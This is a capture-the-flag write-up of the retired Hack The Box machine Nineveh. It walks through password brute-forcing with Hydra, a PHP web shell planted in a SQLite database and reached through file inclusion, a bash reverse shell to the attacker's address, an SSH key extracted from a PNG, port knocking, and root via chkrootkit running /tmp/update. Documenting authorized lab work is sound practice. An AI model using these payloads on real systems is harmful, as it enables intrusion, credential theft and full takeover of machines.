root@kali:~$ cat hackthebox/machines/nineveh.md
Hack The Box — Nineveh
Nineveh chains weak web logins, phpLiteAdmin database creation and a file include into a web shell; an embedded SSH key and chkrootkit lead to root.

- Platform
- Hack The Box
- Type
- machine
- Difficulty
- Medium
- Operating system
- Linux
- Solved
- 30 Nov 2026
- Published
- 30 November 2026
This write-up documents an authorized Hack The Box lab. The Nineveh Machine page shows an official write-up available; HTB explains that Machine write-ups unlock after retirement. Flag values, the private SSH key, VPN addresses and session cookies are omitted. Use the addresses assigned to your own instance.
Executive summary
Nineveh exposes separate HTTP and HTTPS sites. Directory enumeration finds a Department login on HTTP and phpLiteAdmin on HTTPS. Weak passwords open both. phpLiteAdmin writes a database with a .php extension into /var/tmp, and the Department’s notes parameter includes that file after its name passes a check. PHP stored in the SQLite schema therefore runs as www-data. A tar archive appended to a PNG contains an SSH key for amrois; port knocking opens SSH. Finally, a root-run chkrootkit job executes an attacker-controlled /tmp/update, providing root code execution.
Target information
| Item | Value |
|---|---|
| Target | Nineveh |
| Platform | Hack The Box |
| Difficulty | Medium |
| Operating system | Linux |
| Publication policy | Retired |
| Solved | 30 November 2026 |
| Main weaknesses | Weak web passwords, executable content in a SQLite database, local file inclusion, embedded SSH key, unsafe root job |
Start your HTB instance and connect Kali to its VPN. The target address and your VPN address can change between sessions. Set them once and use the variables below throughout:
TARGET_IP='<YOUR_HTB_TARGET_IP>'
LHOST=$(ip -4 -o addr show tun0 | awk '{print $4}' | cut -d/ -f1)
printf 'Target: %s\nKali VPN IP: %s\n' "$TARGET_IP" "$LHOST"
printf '%s nineveh.htb\n' "$TARGET_IP" | sudo tee -a /etc/hosts
Enumeration
Scan the full TCP range
nmap "$TARGET_IP" -T5 -sVC -p-
Only Apache on TCP 80 and 443 is reported open. The TLS certificate names nineveh.htb. SSH does not appear open in the external scan because a firewall controls access to it.
80/tcp open http Apache httpd 2.4.18 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.4.18 (Ubuntu)
ssl-cert: Subject: commonName=nineveh.htb
Compare the two sites instead of assuming they serve the same content:
curl -i http://nineveh.htb/
curl -ki https://nineveh.htb/
HTTP serves a short default “It works!” page. HTTPS serves an image. Both sparse landing pages make directory enumeration the next useful step.
ffuf -u http://nineveh.htb/FUZZ \
-w /usr/share/wordlists/dirb/common.txt -t 20
ffuf -u https://nineveh.htb/FUZZ \
-w /usr/share/wordlists/dirb/common.txt -t 20 -k
The common list finds /info.php on HTTP and /db/ on HTTPS. /info.php discloses PHP 7.0.18 and the HTTP document root /var/www/html. /db/ displays a password-only login for phpLiteAdmin v1.9.
The first list misses the Department path. A larger directory list reveals it:
ffuf -u http://nineveh.htb/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-t 20 -ac
The result is /department/, which leads to /department/login.php. Its form posts username and password to login.php. A source comment says the MySQL-backed login has yet to be fixed; treat that as a clue to investigate, not proof of SQL injection.
Identify both authentication paths
Submitting admin with a wrong password produces Invalid Password!. A modified username produces invalid username. This response difference confirms a valid username: admin.
SearchSploit describes a PHP code injection issue in phpLiteAdmin versions through 1.9.3:
searchsploit phpliteadmin 1.9
searchsploit -x 24044
The proof of concept requires the ability to create or rename a SQLite database to a .php file and place PHP in its contents. The version match is a lead; the lab still needs authentication and a way for the web application to load that file.
Initial access
Recover the two web passwords
The phpLiteAdmin form’s failed response contains Incorrect password.. Hydra needs a placeholder username even though the form itself accepts only a password. Start with a short, common list:
head -n 10000 /usr/share/wordlists/rockyou.txt > top10k.txt
hydra -l dummy -P top10k.txt -f -t 4 \
nineveh.htb https-post-form \
'/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:F=Incorrect password.'
This finds the retired lab password password123. Confirm it in the browser at https://nineveh.htb/db/.
For the Department, use the valid username and its exact failure message:
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f -t 16 \
nineveh.htb http-post-form \
'/department/login.php:username=^USER^&password=^PASS^:F=Invalid Password!'
This finds admin:1q2w3e4r5t. Log in at http://nineveh.htb/department/login.php. The Notes link opens:
/department/manage.php?notes=files/ninevehNotes.txt
The displayed note says the login credentials are hardcoded and hints at a secret folder. The notes query parameter is also the route to the SQLite file.
Create a PHP-bearing SQLite database
In phpLiteAdmin, create a database named ninevehNotes.php. Its details page confirms the path /var/tmp/ninevehNotes.php. Because the file is outside the HTTPS document root, requesting https://nineveh.htb/db/ninevehNotes.php directly is not the path to execution.
Create a table named poc with one field. Put a harmless PHP marker in that field’s Default Value:
<?php echo "NINEVEH_POC"; ?>
The code is stored in the SQLite schema. In the Department, try loading the database through notes:
http://nineveh.htb/department/manage.php?notes=/var/tmp/ninevehNotes.php
The response includes SQLite bytes and NINEVEH_POC in place of the PHP code. That substitution confirms the PHP interpreter processed the included file. An arbitrary filename such as /var/tmp/nineveh_poc.php instead returns No Note is selected.; the observed name check accepts ninevehNotes.php.
Now create a second table, cmdtest, with one TEXT field named run. Set its Default Value to:
<?php system($_GET["cmd"]); ?>
While authenticated to the Department, open:
http://nineveh.htb/department/manage.php?notes=/var/tmp/ninevehNotes.php&cmd=id
The response contains uid=33(www-data). The table does not need a row: the PHP text in its schema is enough when the database file is included.
Obtain a shell as www-data
On Kali, listen on a port and verify your current tun0 address:
ip -4 -o addr show tun0
nc -lvnp 4444
In another Kali terminal, generate a URL-encoded command with the VPN address from your current session:
LHOST=$(ip -4 -o addr show tun0 | awk '{print $4}' | cut -d/ -f1)
python3 - "$LHOST" <<'PY'
from urllib.parse import quote
import sys
host = sys.argv[1]
command = f"bash -c 'bash -i >& /dev/tcp/{host}/4444 0>&1'"
url = "http://nineveh.htb/department/manage.php?notes=/var/tmp/ninevehNotes.php&cmd="
print(url + quote(command, safe=""))
PY
Open the printed URL in the authenticated Department browser tab. The browser may wait while the connection stays open. The Netcat terminal receives a shell; id confirms www-data.
Privilege escalation
From www-data to amrois: inspect the secret folder
The www-data shell cannot read /home/amrois/user.txt. The Department note’s “secret folder” hint suggests looking through the web roots:
find /var/www -maxdepth 5 -type d 2>/dev/null | sort
find /var/www -maxdepth 5 -type f 2>/dev/null | sort
This finds /var/www/ssl/secure_notes/nineveh.png. Download it to Kali and examine its file signatures:
curl -ksS https://nineveh.htb/secure_notes/nineveh.png -o nineveh.png
file nineveh.png
binwalk nineveh.png
Binwalk identifies a POSIX tar archive at decimal offset 2881744. Extract from byte 2881745 because tail -c +N uses a one-based starting position:
tail -c +2881745 nineveh.png > hidden.tar
tar -tf hidden.tar
mkdir -p extracted
tar -xf hidden.tar -C extracted secret/nineveh.priv secret/nineveh.pub
chmod 600 extracted/secret/nineveh.priv
The archive contains a private and public SSH key associated with amrois. Keep the private key out of notes, screenshots and repositories.
The original external scan did not show SSH, but the target’s local socket list shows it listening. The readable /etc/knockd.conf explains the firewall rule:
[openSSH]
sequence = 571, 290, 911
seq_timeout = 5
From Kali, send the three TCP knocks in order, then connect with the extracted key:
knock "$TARGET_IP" 571 290 911
nc -zv -w 2 "$TARGET_IP" 22
ssh -i extracted/secret/nineveh.priv -o IdentitiesOnly=yes amrois@"$TARGET_IP"
If knock is unavailable, send the SYN probes with Netcat in under five seconds:
for port in 571 290 911; do
nc -z -w 1 "$TARGET_IP" "$port" >/dev/null 2>&1
done
id now reports uid=1000(amrois), and ~/user.txt is readable. Do not include its value in a public write-up.
From amrois to root: chkrootkit executes /tmp/update
sudo -n -l requires a password, and the usual SUID inventory provides no direct route. A filesystem search reveals an executable /usr/bin/chkrootkit, even though it is absent from the package listing:
sudo -n -l
find / -perm -4000 -type f 2>/dev/null
find / -type f -iname '*chkrootkit*' -ls 2>/dev/null
ls -la /tmp
Ubuntu’s CVE-2014-0476 advisory describes the unsafe path handling in chkrootkit versions before 0.50. The relevant behavior is that a privileged chkrootkit run may execute an attacker-controlled /tmp/update. The binary here is execute-only to amrois, so the local test below establishes the behavior without claiming a version from unreadable source.
First make a harmless proof file. The private directory avoids a predictable output path:
findmnt -T /tmp -no OPTIONS
proofdir=$(mktemp -d /tmp/nineveh-proof.XXXXXX)
printf '#!/bin/sh\n/usr/bin/id > %s/result\n' "$proofdir" > /tmp/update
chmod 755 /tmp/update
for i in $(seq 1 12); do
[ -s "$proofdir/result" ] && break
sleep 10
done
cat "$proofdir/result"
The result reports uid=0(root). This confirms that a root-run task executed /tmp/update. Replace the proof with a command that makes a separate SUID copy of Bash, preserving the system binary:
cat > /tmp/update <<'EOF'
#!/bin/sh
cp /bin/bash /home/amrois/.rootbash
chown root:root /home/amrois/.rootbash
chmod 4755 /home/amrois/.rootbash
EOF
chmod 755 /tmp/update
for i in $(seq 1 12); do
[ -u /home/amrois/.rootbash ] && break
sleep 10
done
ls -l /home/amrois/.rootbash
/home/amrois/.rootbash -p
id
The file should be root-owned with -rwsr-xr-x permissions. bash -p retains the effective root UID; a plain Bash invocation may drop it. From that shell, /root/root.txt is readable. Remove the temporary payload and SUID copy after verification:
rm -f /tmp/update /home/amrois/.rootbash
What did not work
- A quote in the Department username changed the message to
invalid username; boolean true and false payloads in its password field produced the same page apart from a session cookie. A basic sqlmap run found no injectable parameter. The later note identified hardcoded credentials, so the observed path was password guessing rather than SQL injection. - The first small directory list found
/info.phpbut missed/department/. A larger list found it. - A database named
nineveh_poc.phpreturnedNo Note is selected.through thenotesparameter. Renaming it toninevehNotes.phppassed the observed filename check. - The database was stored in
/var/tmp, so a direct/db/*.phprequest could not reach it. Including it through the Department made the PHP execute. sudorequired a password; the root path came from the scheduled chkrootkit execution instead.
Attack path
- Enumerate both web ports; discover the Department and phpLiteAdmin logins.
- Recover the two weak lab passwords and authenticate to both applications.
- Store PHP in a
.phpSQLite database under/var/tmpand include it throughmanage.php?notes=to obtain awww-datashell. - Extract an SSH key from the tar archive appended to
nineveh.png, perform port knocking, and log in asamrois. - Confirm root execution of
/tmp/updateby chkrootkit, then use that execution to obtain a root shell.
Lessons learned
- Scan each exposed web origin independently. The HTTP and HTTPS sites exposed different applications and supplied different parts of the exploit chain.
- Validate each hypothesis with a discriminating response. A source comment, version match or filename check was a lead; authentication, marker execution and
idoutput supplied the proof. - Embedded files can turn an ordinary image into a credential leak. File signatures and archive offsets gave a reproducible extraction path without publishing the key.
- Privileged scheduled jobs must not execute files from world-writable locations. Restricted read permissions on the chkrootkit script did not remove that trust-boundary failure.